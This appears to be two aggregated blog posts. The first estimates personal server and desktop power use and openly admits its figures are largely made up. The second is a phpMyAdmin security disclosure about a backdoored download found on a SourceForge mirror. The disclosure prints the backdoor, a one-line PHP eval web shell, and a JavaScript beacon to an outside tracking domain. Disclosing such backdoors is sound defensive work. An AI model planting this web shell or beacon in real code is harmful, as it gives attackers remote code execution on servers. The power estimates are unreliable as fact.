powerful and has two other people as core users. So that could count as 33% of a fairly powerful server in my name. But if we are counting server use per USER then most of the resources of my blog server would be divided among the readers. My blog has about 10,000 people casually reading it through Planet syndication, that could mean that each person who casually reads my blog has 1/30,000 of a server allocated to them for that. Another way of considering it is that 10% of a server (8640 seconds) is covered by me maintaining my blog and writing posts, 20% is for users who visit my blog directly, and 3% is for the users who just see a Planet feed. That would mean that a Planet reader gets 1/330,000 of a server (250ms per day) and someone who reads directly gets 1/50,000 of a server (1.72s per day) as I have about 10,000 people visiting my blog directly in a month. My mail server which is also shared by a dozen or so people (maybe that counts as 5% of a server for me or 4320 seconds per day). Then there s the server I use for SE Linux development (including my Play Machine) and a server I use as a DNS secondary and a shell server for various testing and proxying. Other People s Servers If every reader of a Planet instance like Planet Debian and Planet Linux Australia counts as 1/330,000 of a server for their usage of my blog, then how would that count for my own use of blogs? I tend to read blogs written by the type of people who like to run things themselves, so there would be a lot of fairly under-utilised servers that run blogs. Through Planet Debian and Planet Linux Australia I could be reading 100 or more blogs which are run in the same manner as mine, and in a typical day I probably directly visit a dozen blogs that are run in such a manner. This could give me 50 seconds of server time for blog reading. Home Servers I have a file server at home which is also a desktop system for my wife. In terms of buying and running systems that doesn t count as an extra server as she needs to have a desktop system anyway and using bigger disks doesn t make much difference to the power use (7W is the difference between a RAID-1 server and a single disk desktop system). I also have a PC running as an Internet gateway and firewall. Running servers at home isn t making that much of an impact on my computer power use as there is only one dedicated 24*7 server and that is reasonably low power. But having two desktop systems on 24*7 is a significant factor. Where Power is Used/Wasted No matter how things are counted or what numbers we make up it seems clear that having a desktop system running 24*7 is the biggest use of power that will be assigned to one person. Making PCs more energy efficient through better hardware design and better OS support for suspending would be the best way of saving energy. Nothing that can be done at the server side can compare. Running a server that is only really used by three people is a significant waste by the standards of the NYT article. Of course the thing is that Hetzner is really cheap (and I m not contributing any money) so there isn t a great incentive to be more efficient in this regard. Even if I allocate some portion of the server use to blog readers then there s still a significant portion that has to be assigned to me for my choice to not use a managed service. Running a mail server for a small number of users and running a DNS server and a SE Linux development server are all ways of wasting more power. But the vast majority of the population don t have the skills to run their own server directly, so this sort of use doesn t affect the average power use for the population. Nothing else really matters. No matter what Google does in terms of power use it just doesn t matter when compared to all the desktop systems running 24*7. Small companies may be less efficient, but that will be due to issues of how to share servers among more people and the fact that below a certain limit you can t save money by using less resources particularly if you pay people to develop software. Conclusion I blame Intel for most of the power waste. Android phones and tablets can do some amazing things, which is hardly surprising as by almost every measure they are more powerful than the desktop systems we were all using 10 years ago and by many measures they beat desktop systems from 5 years ago. The same technology should be available in affordable desktop systems. I d like to have a desktop system running Debian based on a multi-core ARM CPU that can drive a monitor at better than FullHD resolution and which uses so little power that it is passively cooled almost all the time. A 64bit ARM system with 8G of RAM a GPU that can decode video (with full Linux driver support) and a fast SSD should compete well enough with typical desktop systems on performance while being quiet, reliable, and energy efficient. Finally please note that most of this post relies on just making stuff up. I don t think that this is wrong given the NYT article that started this. I also think that my estimates are good enough to draw some sensible conclusions.

• [1] http://blog.diegodoval.com/2012/09/23/a-lot-of-lead-bullets-a-response-to-the-new-york-times-article-on-data-center-efficiency/

Related posts:

1. Name Server IP and a Dead Server About 24 hours ago I rebooted the system that runs...
2. Google Custom Search Engine I ve just been experimenting with Google Custom Search [1]. Below...
3. Google Server Design Cnet has an article on the design of the Google...

Yesterday, phpMyAdmin security team has been notified about backdoor being distributed together with phpMyAdmin zip file on one of SourceForge mirrors. We quickly analyzed the issue and confirmed that the backdoor is indeed present in phpMyAdmin-3.5.2.2-all-languages.zip file. It allowed anybody to execute arbitrary PHP code, there was file called server_sync.php which simply called eval on passed data:

<?php @eval($_POST['c']);?>

In addition to this, javascript code has been included, which could allow attacker to track vulnerable installations:

var icon ;
icon = document.createElement("img");
icon.src="http://logos.phpmyadmin-images.net/logo/logos.jpg";
icon.width=0;
icon.height=0;
document.body.appendChild(icon);

All in all looks like simple, but quite effective way to install backdoor, if they would be able to spread this more widely. We've immediately released PMASA-2012-5 to notify our users. Luckily this was spot quite fast (looking at used domain, the exploit could not be alive before 22th September 2012) and not on much frequent mirror (based on SourceForge official statement about 400 users have downloaded the file with backdoor). What still remains unclear is whether this was really only targeted on phpMyAdmin, or there were more modified file on this mirror (SourceForge hosts thousands of projects). I've randomly tried few our other download options from this mirror and none of them was affected, but the mirror was taken offline before I could do some more systematic analysis, so this question can now be answered only by SourceForge.

Filed under: English Phpmyadmin 0 comments Flattr this!